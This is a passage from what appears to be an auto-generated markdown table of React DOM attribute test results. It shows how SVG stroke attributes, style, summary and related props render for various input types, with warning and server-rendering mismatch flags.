|\n| `strikethroughThickness=(float)`| (changed)| `\"99.99\"` |\n| `strikethroughThickness=(true)`| (initial, warning)| `<null>` |\n| `strikethroughThickness=(false)`| (initial, warning)| `<null>` |\n| `strikethroughThickness=(string 'true')`| (changed)| `\"true\"` |\n| `strikethroughThickness=(string 'false')`| (changed)| `\"false\"` |\n| `strikethroughThickness=(string 'on')`| (changed)| `\"on\"` |\n| `strikethroughThickness=(string 'off')`| (changed)| `\"off\"` |\n| `strikethroughThickness=(symbol)`| (initial, warning)| `<null>` |\n| `strikethroughThickness=(function)`| (initial, warning)| `<null>` |\n| `strikethroughThickness=(null)`| (initial)| `<null>` |\n| `strikethroughThickness=(undefined)`| (initial)| `<null>` |\n\n## `string` (on `<font-face-format>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `string=(string)`| (changed)| `\"a string\"` |\n| `string=(empty string)`| (changed)| `<empty string>` |\n| `string=(array with string)`| (changed)| `\"string\"` |\n| `string=(empty array)`| (changed)| `<empty string>` |\n| `string=(object)`| (changed)| `\"result of toString()\"` |\n| `string=(numeric string)`| (changed)| `\"42\"` |\n| `string=(-1)`| (changed)| `\"-1\"` |\n| `string=(0)`| (changed)| `\"0\"` |\n| `string=(integer)`| (changed)| `\"1\"` |\n| `string=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `string=(float)`| (changed)| `\"99.99\"` |\n| `string=(true)`| (initial, warning)| `<null>` |\n| `string=(false)`| (initial, warning)| `<null>` |\n| `string=(string 'true')`| (changed)| `\"true\"` |\n| `string=(string 'false')`| (changed)| `\"false\"` |\n| `string=(string 'on')`| (changed)| `\"on\"` |\n| `string=(string 'off')`| (changed)| `\"off\"` |\n| `string=(symbol)`| (initial, warning)| `<null>` |\n| `string=(function)`| (initial, warning)| `<null>` |\n| `string=(null)`| (initial)| `<null>` |\n| `string=(undefined)`| (initial)| `<null>` |\n\n## `stroke` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stroke=(string)`| (changed)| `\"a string\"` |\n| `stroke=(empty string)`| (changed)| `<empty string>` |\n| `stroke=(array with string)`| (changed)| `\"string\"` |\n| `stroke=(empty array)`| (changed)| `<empty string>` |\n| `stroke=(object)`| (changed)| `\"result of toString()\"` |\n| `stroke=(numeric string)`| (changed)| `\"42\"` |\n| `stroke=(-1)`| (changed)| `\"-1\"` |\n| `stroke=(0)`| (changed)| `\"0\"` |\n| `stroke=(integer)`| (changed)| `\"1\"` |\n| `stroke=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stroke=(float)`| (changed)| `\"99.99\"` |\n| `stroke=(true)`| (initial, warning)| `<null>` |\n| `stroke=(false)`| (initial, warning)| `<null>` |\n| `stroke=(string 'true')`| (changed)| `\"true\"` |\n| `stroke=(string 'false')`| (changed)| `\"false\"` |\n| `stroke=(string 'on')`| (changed)| `\"on\"` |\n| `stroke=(string 'off')`| (changed)| `\"off\"` |\n| `stroke=(symbol)`| (initial, warning)| `<null>` |\n| `stroke=(function)`| (initial, warning)| `<null>` |\n| `stroke=(null)`| (initial)| `<null>` |\n| `stroke=(undefined)`| (initial)| `<null>` |\n\n## `stroke-dasharray` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stroke-dasharray=(string)`| (changed, warning)| `\"a string\"` |\n| `stroke-dasharray=(empty string)`| (changed, warning)| `<empty string>` |\n| `stroke-dasharray=(array with string)`| (changed, warning)| `\"string\"` |\n| `stroke-dasharray=(empty array)`| (changed, warning)| `<empty string>` |\n| `stroke-dasharray=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `stroke-dasharray=(numeric string)`| (changed, warning)| `\"42\"` |\n| `stroke-dasharray=(-1)`| (changed, warning)| `\"-1\"` |\n| `stroke-dasharray=(0)`| (changed, warning)| `\"0\"` |\n| `stroke-dasharray=(integer)`| (changed, warning)| `\"1\"` |\n| `stroke-dasharray=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stroke-dasharray=(float)`| (changed, warning)| `\"99.99\"` |\n| `stroke-dasharray=(true)`| (initial, warning)| `<null>` |\n| `stroke-dasharray=(false)`| (initial, warning)| `<null>` |\n| `stroke-dasharray=(string 'true')`| (changed, warning)| `\"true\"` |\n| `stroke-dasharray=(string 'false')`| (changed, warning)| `\"false\"` |\n| `stroke-dasharray=(string 'on')`| (changed, warning)| `\"on\"` |\n| `stroke-dasharray=(string 'off')`| (changed, warning)| `\"off\"` |\n| `stroke-dasharray=(symbol)`| (initial, warning)| `<null>` |\n| `stroke-dasharray=(function)`| (initial, warning)| `<null>` |\n| `stroke-dasharray=(null)`| (initial, warning)| `<null>` |\n| `stroke-dasharray=(undefined)`| (initial, warning)| `<null>` |\n\n## `stroke-Dasharray` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stroke-Dasharray=(string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(empty string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(array with string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(empty array)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(object)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(numeric string)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(-1)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(0)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(integer)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(NaN)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(float)`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(true)`| (initial, warning)| `<null>` |\n| `stroke-Dasharray=(false)`| (initial, warning)| `<null>` |\n| `stroke-Dasharray=(string 'true')`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(string 'false')`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(string 'on')`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(string 'off')`| (initial, warning, ssr mismatch)| `<null>` |\n| `stroke-Dasharray=(symbol)`| (initial, warning)| `<null>` |\n| `stroke-Dasharray=(function)`| (initial, warning)| `<null>` |\n| `stroke-Dasharray=(null)`| (initial, warning)| `<null>` |\n| `stroke-Dasharray=(undefined)`| (initial, warning)| `<null>` |\n\n## `stroke-dashoffset` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stroke-dashoffset=(string)`| (changed, warning)| `\"a string\"` |\n| `stroke-dashoffset=(empty string)`| (changed, warning)| `<empty string>` |\n| `stroke-dashoffset=(array with string)`| (changed, warning)| `\"string\"` |\n| `stroke-dashoffset=(empty array)`| (changed, warning)| `<empty string>` |\n| `stroke-dashoffset=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `stroke-dashoffset=(numeric string)`| (changed, warning)| `\"42\"` |\n| `stroke-dashoffset=(-1)`| (changed, warning)| `\"-1\"` |\n| `stroke-dashoffset=(0)`| (changed, warning)| `\"0\"` |\n| `stroke-dashoffset=(integer)`| (changed, warning)| `\"1\"` |\n| `stroke-dashoffset=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stroke-dashoffset=(float)`| (changed, warning)| `\"99.99\"` |\n| `stroke-dashoffset=(true)`| (initial, warning)| `<null>` |\n| `stroke-dashoffset=(false)`| (initial, warning)| `<null>` |\n| `stroke-dashoffset=(string 'true')`| (changed, warning)| `\"true\"` |\n| `stroke-dashoffset=(string 'false')`| (changed, warning)| `\"false\"` |\n| `stroke-dashoffset=(string 'on')`| (changed, warning)| `\"on\"` |\n| `stroke-dashoffset=(string 'off')`| (changed, warning)| `\"off\"` |\n| `stroke-dashoffset=(symbol)`| (initial, warning)| `<null>` |\n| `stroke-dashoffset=(function)`| (initial, warning)| `<null>` |\n| `stroke-dashoffset=(null)`| (initial, warning)| `<null>` |\n| `stroke-dashoffset=(undefined)`| (initial, warning)| `<null>` |\n\n## `stroke-linecap` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stroke-linecap=(string)`| (changed, warning)| `\"a string\"` |\n| `stroke-linecap=(empty string)`| (changed, warning)| `<empty string>` |\n| `stroke-linecap=(array with string)`| (changed, warning)| `\"string\"` |\n| `stroke-linecap=(empty array)`| (changed, warning)| `<empty string>` |\n| `stroke-linecap=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `stroke-linecap=(numeric string)`| (changed, warning)| `\"42\"` |\n| `stroke-linecap=(-1)`| (changed, warning)| `\"-1\"` |\n| `stroke-linecap=(0)`| (changed, warning)| `\"0\"` |\n| `stroke-linecap=(integer)`| (changed, warning)| `\"1\"` |\n| `stroke-linecap=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stroke-linecap=(float)`| (changed, warning)| `\"99.99\"` |\n| `stroke-linecap=(true)`| (initial, warning)| `<null>` |\n| `stroke-linecap=(false)`| (initial, warning)| `<null>` |\n| `stroke-linecap=(string 'true')`| (changed, warning)| `\"true\"` |\n| `stroke-linecap=(string 'false')`| (changed, warning)| `\"false\"` |\n| `stroke-linecap=(string 'on')`| (changed, warning)| `\"on\"` |\n| `stroke-linecap=(string 'off')`| (changed, warning)| `\"off\"` |\n| `stroke-linecap=(symbol)`| (initial, warning)| `<null>` |\n| `stroke-linecap=(function)`| (initial, warning)| `<null>` |\n| `stroke-linecap=(null)`| (initial, warning)| `<null>` |\n| `stroke-linecap=(undefined)`| (initial, warning)| `<null>` |\n\n## `stroke-linejoin` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stroke-linejoin=(string)`| (changed, warning)| `\"a string\"` |\n| `stroke-linejoin=(empty string)`| (changed, warning)| `<empty string>` |\n| `stroke-linejoin=(array with string)`| (changed, warning)| `\"string\"` |\n| `stroke-linejoin=(empty array)`| (changed, warning)| `<empty string>` |\n| `stroke-linejoin=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `stroke-linejoin=(numeric string)`| (changed, warning)| `\"42\"` |\n| `stroke-linejoin=(-1)`| (changed, warning)| `\"-1\"` |\n| `stroke-linejoin=(0)`| (changed, warning)| `\"0\"` |\n| `stroke-linejoin=(integer)`| (changed, warning)| `\"1\"` |\n| `stroke-linejoin=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stroke-linejoin=(float)`| (changed, warning)| `\"99.99\"` |\n| `stroke-linejoin=(true)`| (initial, warning)| `<null>` |\n| `stroke-linejoin=(false)`| (initial, warning)| `<null>` |\n| `stroke-linejoin=(string 'true')`| (changed, warning)| `\"true\"` |\n| `stroke-linejoin=(string 'false')`| (changed, warning)| `\"false\"` |\n| `stroke-linejoin=(string 'on')`| (changed, warning)| `\"on\"` |\n| `stroke-linejoin=(string 'off')`| (changed, warning)| `\"off\"` |\n| `stroke-linejoin=(symbol)`| (initial, warning)| `<null>` |\n| `stroke-linejoin=(function)`| (initial, warning)| `<null>` |\n| `stroke-linejoin=(null)`| (initial, warning)| `<null>` |\n| `stroke-linejoin=(undefined)`| (initial, warning)| `<null>` |\n\n## `stroke-miterlimit` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stroke-miterlimit=(string)`| (changed, warning)| `\"a string\"` |\n| `stroke-miterlimit=(empty string)`| (changed, warning)| `<empty string>` |\n| `stroke-miterlimit=(array with string)`| (changed, warning)| `\"string\"` |\n| `stroke-miterlimit=(empty array)`| (changed, warning)| `<empty string>` |\n| `stroke-miterlimit=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `stroke-miterlimit=(numeric string)`| (changed, warning)| `\"42\"` |\n| `stroke-miterlimit=(-1)`| (changed, warning)| `\"-1\"` |\n| `stroke-miterlimit=(0)`| (changed, warning)| `\"0\"` |\n| `stroke-miterlimit=(integer)`| (changed, warning)| `\"1\"` |\n| `stroke-miterlimit=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stroke-miterlimit=(float)`| (changed, warning)| `\"99.99\"` |\n| `stroke-miterlimit=(true)`| (initial, warning)| `<null>` |\n| `stroke-miterlimit=(false)`| (initial, warning)| `<null>` |\n| `stroke-miterlimit=(string 'true')`| (changed, warning)| `\"true\"` |\n| `stroke-miterlimit=(string 'false')`| (changed, warning)| `\"false\"` |\n| `stroke-miterlimit=(string 'on')`| (changed, warning)| `\"on\"` |\n| `stroke-miterlimit=(string 'off')`| (changed, warning)| `\"off\"` |\n| `stroke-miterlimit=(symbol)`| (initial, warning)| `<null>` |\n| `stroke-miterlimit=(function)`| (initial, warning)| `<null>` |\n| `stroke-miterlimit=(null)`| (initial, warning)| `<null>` |\n| `stroke-miterlimit=(undefined)`| (initial, warning)| `<null>` |\n\n## `stroke-opacity` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stroke-opacity=(string)`| (changed, warning)| `\"a string\"` |\n| `stroke-opacity=(empty string)`| (changed, warning)| `<empty string>` |\n| `stroke-opacity=(array with string)`| (changed, warning)| `\"string\"` |\n| `stroke-opacity=(empty array)`| (changed, warning)| `<empty string>` |\n| `stroke-opacity=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `stroke-opacity=(numeric string)`| (changed, warning)| `\"42\"` |\n| `stroke-opacity=(-1)`| (changed, warning)| `\"-1\"` |\n| `stroke-opacity=(0)`| (changed, warning)| `\"0\"` |\n| `stroke-opacity=(integer)`| (changed, warning)| `\"1\"` |\n| `stroke-opacity=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stroke-opacity=(float)`| (changed, warning)| `\"99.99\"` |\n| `stroke-opacity=(true)`| (initial, warning)| `<null>` |\n| `stroke-opacity=(false)`| (initial, warning)| `<null>` |\n| `stroke-opacity=(string 'true')`| (changed, warning)| `\"true\"` |\n| `stroke-opacity=(string 'false')`| (changed, warning)| `\"false\"` |\n| `stroke-opacity=(string 'on')`| (changed, warning)| `\"on\"` |\n| `stroke-opacity=(string 'off')`| (changed, warning)| `\"off\"` |\n| `stroke-opacity=(symbol)`| (initial, warning)| `<null>` |\n| `stroke-opacity=(function)`| (initial, warning)| `<null>` |\n| `stroke-opacity=(null)`| (initial, warning)| `<null>` |\n| `stroke-opacity=(undefined)`| (initial, warning)| `<null>` |\n\n## `stroke-width` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stroke-width=(string)`| (changed, warning)| `\"a string\"` |\n| `stroke-width=(empty string)`| (changed, warning)| `<empty string>` |\n| `stroke-width=(array with string)`| (changed, warning)| `\"string\"` |\n| `stroke-width=(empty array)`| (changed, warning)| `<empty string>` |\n| `stroke-width=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `stroke-width=(numeric string)`| (changed, warning)| `\"42\"` |\n| `stroke-width=(-1)`| (changed, warning)| `\"-1\"` |\n| `stroke-width=(0)`| (changed, warning)| `\"0\"` |\n| `stroke-width=(integer)`| (changed, warning)| `\"1\"` |\n| `stroke-width=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stroke-width=(float)`| (changed, warning)| `\"99.99\"` |\n| `stroke-width=(true)`| (initial, warning)| `<null>` |\n| `stroke-width=(false)`| (initial, warning)| `<null>` |\n| `stroke-width=(string 'true')`| (changed, warning)| `\"true\"` |\n| `stroke-width=(string 'false')`| (changed, warning)| `\"false\"` |\n| `stroke-width=(string 'on')`| (changed, warning)| `\"on\"` |\n| `stroke-width=(string 'off')`| (changed, warning)| `\"off\"` |\n| `stroke-width=(symbol)`| (initial, warning)| `<null>` |\n| `stroke-width=(function)`| (initial, warning)| `<null>` |\n| `stroke-width=(null)`| (initial, warning)| `<null>` |\n| `stroke-width=(undefined)`| (initial, warning)| `<null>` |\n\n## `strokeDasharray` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strokeDasharray=(string)`| (changed)| `\"a string\"` |\n| `strokeDasharray=(empty string)`| (changed)| `<empty string>` |\n| `strokeDasharray=(array with string)`| (changed)| `\"string\"` |\n| `strokeDasharray=(empty array)`| (changed)| `<empty string>` |\n| `strokeDasharray=(object)`| (changed)| `\"result of toString()\"` |\n| `strokeDasharray=(numeric string)`| (changed)| `\"42\"` |\n| `strokeDasharray=(-1)`| (changed)| `\"-1\"` |\n| `strokeDasharray=(0)`| (changed)| `\"0\"` |\n| `strokeDasharray=(integer)`| (changed)| `\"1\"` |\n| `strokeDasharray=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `strokeDasharray=(float)`| (changed)| `\"99.99\"` |\n| `strokeDasharray=(true)`| (initial, warning)| `<null>` |\n| `strokeDasharray=(false)`| (initial, warning)| `<null>` |\n| `strokeDasharray=(string 'true')`| (changed)| `\"true\"` |\n| `strokeDasharray=(string 'false')`| (changed)| `\"false\"` |\n| `strokeDasharray=(string 'on')`| (changed)| `\"on\"` |\n| `strokeDasharray=(string 'off')`| (changed)| `\"off\"` |\n| `strokeDasharray=(symbol)`| (initial, warning)| `<null>` |\n| `strokeDasharray=(function)`| (initial, warning)| `<null>` |\n| `strokeDasharray=(null)`| (initial)| `<null>` |\n| `strokeDasharray=(undefined)`| (initial)| `<null>` |\n\n## `strokeDashoffset` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strokeDashoffset=(string)`| (changed)| `\"a string\"` |\n| `strokeDashoffset=(empty string)`| (changed)| `<empty string>` |\n| `strokeDashoffset=(array with string)`| (changed)| `\"string\"` |\n| `strokeDashoffset=(empty array)`| (changed)| `<empty string>` |\n| `strokeDashoffset=(object)`| (changed)| `\"result of toString()\"` |\n| `strokeDashoffset=(numeric string)`| (changed)| `\"42\"` |\n| `strokeDashoffset=(-1)`| (changed)| `\"-1\"` |\n| `strokeDashoffset=(0)`| (changed)| `\"0\"` |\n| `strokeDashoffset=(integer)`| (changed)| `\"1\"` |\n| `strokeDashoffset=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `strokeDashoffset=(float)`| (changed)| `\"99.99\"` |\n| `strokeDashoffset=(true)`| (initial, warning)| `<null>` |\n| `strokeDashoffset=(false)`| (initial, warning)| `<null>` |\n| `strokeDashoffset=(string 'true')`| (changed)| `\"true\"` |\n| `strokeDashoffset=(string 'false')`| (changed)| `\"false\"` |\n| `strokeDashoffset=(string 'on')`| (changed)| `\"on\"` |\n| `strokeDashoffset=(string 'off')`| (changed)| `\"off\"` |\n| `strokeDashoffset=(symbol)`| (initial, warning)| `<null>` |\n| `strokeDashoffset=(function)`| (initial, warning)| `<null>` |\n| `strokeDashoffset=(null)`| (initial)| `<null>` |\n| `strokeDashoffset=(undefined)`| (initial)| `<null>` |\n\n## `strokeLinecap` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strokeLinecap=(string)`| (changed)| `\"a string\"` |\n| `strokeLinecap=(empty string)`| (changed)| `<empty string>` |\n| `strokeLinecap=(array with string)`| (changed)| `\"string\"` |\n| `strokeLinecap=(empty array)`| (changed)| `<empty string>` |\n| `strokeLinecap=(object)`| (changed)| `\"result of toString()\"` |\n| `strokeLinecap=(numeric string)`| (changed)| `\"42\"` |\n| `strokeLinecap=(-1)`| (changed)| `\"-1\"` |\n| `strokeLinecap=(0)`| (changed)| `\"0\"` |\n| `strokeLinecap=(integer)`| (changed)| `\"1\"` |\n| `strokeLinecap=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `strokeLinecap=(float)`| (changed)| `\"99.99\"` |\n| `strokeLinecap=(true)`| (initial, warning)| `<null>` |\n| `strokeLinecap=(false)`| (initial, warning)| `<null>` |\n| `strokeLinecap=(string 'true')`| (changed)| `\"true\"` |\n| `strokeLinecap=(string 'false')`| (changed)| `\"false\"` |\n| `strokeLinecap=(string 'on')`| (changed)| `\"on\"` |\n| `strokeLinecap=(string 'off')`| (changed)| `\"off\"` |\n| `strokeLinecap=(symbol)`| (initial, warning)| `<null>` |\n| `strokeLinecap=(function)`| (initial, warning)| `<null>` |\n| `strokeLinecap=(null)`| (initial)| `<null>` |\n| `strokeLinecap=(undefined)`| (initial)| `<null>` |\n\n## `strokeLinejoin` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strokeLinejoin=(string)`| (changed)| `\"a string\"` |\n| `strokeLinejoin=(empty string)`| (changed)| `<empty string>` |\n| `strokeLinejoin=(array with string)`| (changed)| `\"string\"` |\n| `strokeLinejoin=(empty array)`| (changed)| `<empty string>` |\n| `strokeLinejoin=(object)`| (changed)| `\"result of toString()\"` |\n| `strokeLinejoin=(numeric string)`| (changed)| `\"42\"` |\n| `strokeLinejoin=(-1)`| (changed)| `\"-1\"` |\n| `strokeLinejoin=(0)`| (changed)| `\"0\"` |\n| `strokeLinejoin=(integer)`| (changed)| `\"1\"` |\n| `strokeLinejoin=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `strokeLinejoin=(float)`| (changed)| `\"99.99\"` |\n| `strokeLinejoin=(true)`| (initial, warning)| `<null>` |\n| `strokeLinejoin=(false)`| (initial, warning)| `<null>` |\n| `strokeLinejoin=(string 'true')`| (changed)| `\"true\"` |\n| `strokeLinejoin=(string 'false')`| (changed)| `\"false\"` |\n| `strokeLinejoin=(string 'on')`| (changed)| `\"on\"` |\n| `strokeLinejoin=(string 'off')`| (changed)| `\"off\"` |\n| `strokeLinejoin=(symbol)`| (initial, warning)| `<null>` |\n| `strokeLinejoin=(function)`| (initial, warning)| `<null>` |\n| `strokeLinejoin=(null)`| (initial)| `<null>` |\n| `strokeLinejoin=(undefined)`| (initial)| `<null>` |\n\n## `strokeMiterlimit` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strokeMiterlimit=(string)`| (changed)| `\"a string\"` |\n| `strokeMiterlimit=(empty string)`| (changed)| `<empty string>` |\n| `strokeMiterlimit=(array with string)`| (changed)| `\"string\"` |\n| `strokeMiterlimit=(empty array)`| (changed)| `<empty string>` |\n| `strokeMiterlimit=(object)`| (changed)| `\"result of toString()\"` |\n| `strokeMiterlimit=(numeric string)`| (changed)| `\"42\"` |\n| `strokeMiterlimit=(-1)`| (changed)| `\"-1\"` |\n| `strokeMiterlimit=(0)`| (changed)| `\"0\"` |\n| `strokeMiterlimit=(integer)`| (changed)| `\"1\"` |\n| `strokeMiterlimit=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `strokeMiterlimit=(float)`| (changed)| `\"99.99\"` |\n| `strokeMiterlimit=(true)`| (initial, warning)| `<null>` |\n| `strokeMiterlimit=(false)`| (initial, warning)| `<null>` |\n| `strokeMiterlimit=(string 'true')`| (changed)| `\"true\"` |\n| `strokeMiterlimit=(string 'false')`| (changed)| `\"false\"` |\n| `strokeMiterlimit=(string 'on')`| (changed)| `\"on\"` |\n| `strokeMiterlimit=(string 'off')`| (changed)| `\"off\"` |\n| `strokeMiterlimit=(symbol)`| (initial, warning)| `<null>` |\n| `strokeMiterlimit=(function)`| (initial, warning)| `<null>` |\n| `strokeMiterlimit=(null)`| (initial)| `<null>` |\n| `strokeMiterlimit=(undefined)`| (initial)| `<null>` |\n\n## `strokeOpacity` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strokeOpacity=(string)`| (changed)| `\"a string\"` |\n| `strokeOpacity=(empty string)`| (changed)| `<empty string>` |\n| `strokeOpacity=(array with string)`| (changed)| `\"string\"` |\n| `strokeOpacity=(empty array)`| (changed)| `<empty string>` |\n| `strokeOpacity=(object)`| (changed)| `\"result of toString()\"` |\n| `strokeOpacity=(numeric string)`| (changed)| `\"42\"` |\n| `strokeOpacity=(-1)`| (changed)| `\"-1\"` |\n| `strokeOpacity=(0)`| (changed)| `\"0\"` |\n| `strokeOpacity=(integer)`| (changed)| `\"1\"` |\n| `strokeOpacity=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `strokeOpacity=(float)`| (changed)| `\"99.99\"` |\n| `strokeOpacity=(true)`| (initial, warning)| `<null>` |\n| `strokeOpacity=(false)`| (initial, warning)| `<null>` |\n| `strokeOpacity=(string 'true')`| (changed)| `\"true\"` |\n| `strokeOpacity=(string 'false')`| (changed)| `\"false\"` |\n| `strokeOpacity=(string 'on')`| (changed)| `\"on\"` |\n| `strokeOpacity=(string 'off')`| (changed)| `\"off\"` |\n| `strokeOpacity=(symbol)`| (initial, warning)| `<null>` |\n| `strokeOpacity=(function)`| (initial, warning)| `<null>` |\n| `strokeOpacity=(null)`| (initial)| `<null>` |\n| `strokeOpacity=(undefined)`| (initial)| `<null>` |\n\n## `strokeWidth` (on `<path>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strokeWidth=(string)`| (changed)| `\"a string\"` |\n| `strokeWidth=(empty string)`| (changed)| `<empty string>` |\n| `strokeWidth=(array with string)`| (changed)| `\"string\"` |\n| `strokeWidth=(empty array)`| (changed)| `<empty string>` |\n| `strokeWidth=(object)`| (changed)| `\"result of toString()\"` |\n| `strokeWidth=(numeric string)`| (changed)| `\"42\"` |\n| `strokeWidth=(-1)`| (changed)| `\"-1\"` |\n| `strokeWidth=(0)`| (changed)| `\"0\"` |\n| `strokeWidth=(integer)`| (changed)| `\"1\"` |\n| `strokeWidth=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `strokeWidth=(float)`| (changed)| `\"99.99\"` |\n| `strokeWidth=(true)`| (initial, warning)| `<null>` |\n| `strokeWidth=(false)`| (initial, warning)| `<null>` |\n| `strokeWidth=(string 'true')`| (changed)| `\"true\"` |\n| `strokeWidth=(string 'false')`| (changed)| `\"false\"` |\n| `strokeWidth=(string 'on')`| (changed)| `\"on\"` |\n| `strokeWidth=(string 'off')`| (changed)| `\"off\"` |\n| `strokeWidth=(symbol)`| (initial, warning)| `<null>` |\n| `strokeWidth=(function)`| (initial, warning)| `<null>` |\n| `strokeWidth=(null)`| (initial)| `<null>` |\n| `strokeWidth=(undefined)`| (initial)| `<null>` |\n\n## `style` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `style=(string)`| (changed, error, warning, ssr error)| `` |\n| `style=(empty string)`| (changed, error, warning, ssr error)| `` |\n| `style=(array with string)`| (changed, error, warning, ssr mismatch)| `` |\n| `style=(empty array)`| (initial)| `[]` |\n| `style=(object)`| (initial)| `[]` |\n| `style=(numeric string)`| (changed, error, warning, ssr error)| `` |\n| `style=(-1)`| (changed, error, warning, ssr error)| `` |\n| `style=(0)`| (changed, error, warning, ssr error)| `` |\n| `style=(integer)`| (changed, error, warning, ssr error)| `` |\n| `style=(NaN)`| (changed, error, warning, ssr error)| `` |\n| `style=(float)`| (changed, error, warning, ssr error)| `` |\n| `style=(true)`| (changed, error, warning, ssr error)| `` |\n| `style=(false)`| (changed, error, warning, ssr error)| `` |\n| `style=(string 'true')`| (changed, error, warning, ssr error)| `` |\n| `style=(string 'false')`| (changed, error, warning, ssr error)| `` |\n| `style=(string 'on')`| (changed, error, warning, ssr error)| `` |\n| `style=(string 'off')`| (changed, error, warning, ssr error)| `` |\n| `style=(symbol)`| (changed, error, warning, ssr error)| `` |\n| `style=(function)`| (changed, error, warning, ssr error)| `` |\n| `style=(null)`| (initial)| `[]` |\n| `style=(undefined)`| (initial)| `[]` |\n\n## `summary` (on `<table>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `summary=(string)`| (changed)| `\"a string\"` |\n| `summary=(empty string)`| (initial)| `<empty string>` |\n| `summary=(array with string)`| (changed)| `\"string\"` |\n| `summary=(empty array)`| (initial)| `<empty string>` |\n| `summary=(object)`| (changed)| `\"result of toString()\"` |\n| `summary=(numeric string)`| (changed)| `\"42\"` |\n| `summary=(-1)`| (changed)| `\"-1\"` |\n| `summary=(0)`| (changed)| `\"0\"` |\n| `summary=(integer)`| (changed)| `\"1\"` |\n| `summary=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `summary=(float)`| (changed)| `\"99.99\"` |\n| `summary=(true)`| (initial, warning)| `<empty string>` |\n| `summary=(false)`| (initial, warning)| `<empty string>` |\n| `summary=(string 'true')`| (changed)| `\"true\"` |\n| `summary=(string 'false')`| (changed)| `\"false\"` |\n| `summary=(string 'on')`| (changed)| `\"on\"` |\n| `summary=(string 'off')`| (changed)| `\"off\"` |\n| `summary=(symbol)`| (initial, warning)| `<empty string>` |\n| `summary=(function)`| (initial, warning)| `<empty string>` |\n| `summary=(null)`| (initial)| `<empty string>` |\n| `summary=(undefined)`| (initial)| `<empty string>` |\n\n## `suppressContentEditableWarning` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `suppressContentEditableWarning=(string)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(empty string)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(array with string)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(empty array)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(object)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(numeric string)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(-1)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(0)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(integer)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(NaN)`| (initial, warning)| `<null>` |\n| `suppressContentEditableWarning=(float)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(true)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(false)`| (initial)| `<null>` |\n| `suppressContentEditableWarning=(string 